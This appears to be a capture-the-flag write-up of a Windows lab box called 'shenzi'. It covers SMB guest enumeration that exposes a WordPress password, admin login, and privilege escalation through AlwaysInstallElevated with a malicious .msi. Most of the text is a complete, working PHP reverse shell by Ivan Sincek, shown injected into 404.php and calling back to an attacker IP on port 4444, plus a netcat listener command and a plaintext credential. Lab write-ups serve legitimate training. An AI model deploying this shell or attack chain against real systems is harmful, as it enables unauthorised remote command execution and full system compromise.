Guest users had access to /shenzi directory via SMB.
Within this directory, I found a password.txt file containing the credentials for a WordPress site hosted at the /shenzi path.
Using these credentials, I logged into the WordPress admin panel.
Injected a reverse shell payload into the 404.php page. After testing various payloads, I found that the PHP reverse shell by Ivan Sincek from revshell.com provided a stable connection.
Triggering the modified 404.php page gave me a reverse shell as a low-privileged user, allowing me to obtain the first low-privilege flag. 🎉
To elevate privileges, I utilised powerup.ps1 and winPEAS to identify potential escalation vectors.
During this process, I discovered that the AlwaysInstallElevated setting was enabled. This Windows policy allows Windows Installer packages (.msi files) to be installed with administrative privileges.
Leveraging this, I created a reverse shell payload embedded in a .msi file, uploaded it to the target machine, and installed it. This successfully granted me a reverse shell with administrator privileges, allowing me to complete the privilege escalation and achieve full control of the system.
🧵Let's Unpack
Enumeration
# Nmapsudonmap-sC-sN-A-oNnmapFull-p--A192.168.172.55# gobuster gobusterdir-uhttp://192.168.172.55-w/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt# smbclientsmbclient//192.168.172.55/shenzi-Uguest>smb:\>dir.D0ThuMay2821:15:092020..D0ThuMay2821:15:092020passwords.txtA894ThuMay2821:15:092020readme_en.txtA7367ThuMay2821:15:092020sess_klk75u2q4rpgfjs3785h6hpippA3879ThuMay2821:15:092020why.tmpA213ThuMay2821:15:092020xampp-control.iniA178ThuMay2821:15:092020# validating credentials using cmecrackmapexecsmb192.168.172.55-u'admin'-p'FeltHeadwallWight357'--continue-on-success
Initial Foodhold
Injecting reverse shell
Updating 404.php page to have the following PHP reverse shell
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = 'cmd';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.45.226', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
# Catching Reverse shell using NetCat
nc -nlvp 4444
# BOOM! Got a shell with low-privilege user